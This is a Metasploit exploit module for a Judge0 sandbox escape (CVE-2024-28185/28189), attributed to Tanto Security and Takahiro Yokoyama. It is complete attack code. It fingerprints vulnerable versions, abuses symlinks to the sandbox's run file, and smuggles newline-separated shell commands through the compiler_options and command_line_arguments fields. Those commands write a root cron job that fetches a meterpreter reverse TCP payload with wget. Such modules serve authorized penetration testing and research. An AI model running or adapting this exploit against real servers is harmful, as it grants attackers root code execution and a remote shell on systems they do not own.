##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper
  prepend Msf::Exploit::Remote::AutoCheck
  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Judge0 sandbox escape',
        'Description' => %q{
          Judge0 does not account for symlinks placed inside the sandbox directory,
          which can be leveraged by an attacker to write to arbitrary files and gain code execution outside of the sandbox.
        },
        'Author' => [
          'Tanto Security',    # Vulnerability discovery
          'Takahiro Yokoyama'  # Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2024-28185'],
          ['CVE', '2024-28189'],
          ['URL', 'https://tantosec.com/blog/judge0/'],
        ],
        'Payload' => {
          'DisableNops' => true,
          # https://github.com/judge0/judge0/blob/ad66f77b131dbbebf2b9ff8083dca9a68680b3e5/app/jobs/isolate_job.rb#L199
          'BadChars' => '$&;<>|`'
        },
        'DefaultOptions' => {
          'FETCH_DELETE' => false,
          'WfsDelay' => 75
        },
        'Platform' => %w[linux],
        'Targets' => [
          [
            'Linux Command', {
              'Arch' => [ ARCH_CMD ], 'Platform' => [ 'unix', 'linux' ], 'Type' => :nix_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp',
                'FETCH_COMMAND' => 'WGET'
              }
            }
          ],
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2024-03-04',
        'Notes' => {
          'Stability' => [ CRASH_SAFE, ],
          'SideEffects' => [ CONFIG_CHANGES, ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
          'Reliability' => [ REPEATABLE_SESSION, ]
        }
      )
    )
    register_options(
      [
        Opt::RPORT(2358),
      ]
    )
  end
  def compile_language_ids
    @languages = []
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'languages')
    })
    return unless res&.code == 200
    languages = JSON.parse(res.body)
    bash = languages.detect { |row| row['name'].include?('Bash') }
    return unless bash
    @bash_id = bash['id']
    languages.each do |language|
      res = send_request_cgi({
        'method' => 'GET',
        'uri' => normalize_uri(target_uri.path, "languages/#{language['id']}")
      })
      lang_info = JSON.parse(res.body)
      @languages << language if res&.code == 200 && lang_info['compile_cmd'] && !lang_info['is_archived']
    end
    return if @languages.empty?
    @languages
  end
  def check
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'version')
    })
    return Exploit::CheckCode::Unknown unless res&.code == 200
    version = Rex::Version.new(res.body)
    return Exploit::CheckCode::Safe("Version #{version} detected, which is not vulnerable") unless version <= Rex::Version.new('1.13.0')
    print_status("Version #{version} detected, which is vulnerable")
    return Exploit::CheckCode::Appears if compile_language_ids
    Exploit::CheckCode::Unknown
  end
  def exploit
    # Setting the `FETCH_DELETE` option seems to break the payload execution.
    # `register_files_for_cleanup` will be used later to cleanup.
    fail_with(Failure::BadConfig, 'FETCH_DELETE must be set to false') if datastore['FETCH_DELETE']
    execute_command(payload.encoded)
  end
  def execute_command(cmd, _opts = {})
    compile_language_ids if @languages.nil?
    if @languages.empty? && !datastore['ForceExploit']
      fail_with(Failure::Unknown, 'Failed to get compile language ids')
    end
    send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'submissions?wait=true'),
      'vars_post' => {
        'source_code' => 'mv run runbak; ln -s /bin/rm run',
        # if cannot get bash id but set ForceExploit to true, use 46
        'language_id' => @bash_id || 46 # Bash
      }
    })
    cron_path = '/etc/cron.d/' + rand_text_alpha(8)
    print_status("Writing cron job to #{cron_path}")
    # use random compile language ids
    # if cannot get compile language ids but set ForceExploit to true, use 73 (Rust)
    language = [email protected]? ? @languages.sample : { id: 73, name: 'Rust' }
    print_status("Use language: #{language['id']}, #{language['name']}")
    send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'submissions?wait=true'),
      'vars_post' => {
        'source_code' => "#test #{rand_text_alphanumeric(5..10)}",
        'language_id' => language['id'],
        'compiler_options' => "--version\nln -s /bin/rm ./run\n#",
        'command_line_arguments' => "x\n"\
                                    "cp /bin/rm #{cron_path}\n"\
                                    "cp /usr/bin/unlink /bin/rm\n"\
                                    "sed -i 's/.*/#/g' #{cron_path}\n"\
                                    "sed -i \"2i #{cron_file(cmd)}\" #{cron_path}\n"\
                                    "echo 'ok'\n" # not used
      }
    })
    register_files_for_cleanup(cron_path, "/root/#{datastore['FETCH_FILENAME']}")
  end
  def cron_file(command)
    cron_file = 'SHELL=/bin/sh'
    cron_file << '\\n'
    cron_file << 'PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin'
    cron_file << '\\n'
    cron_file << "* * * * * root #{command}"
    cron_file << '\\n'
    cron_file
  end
end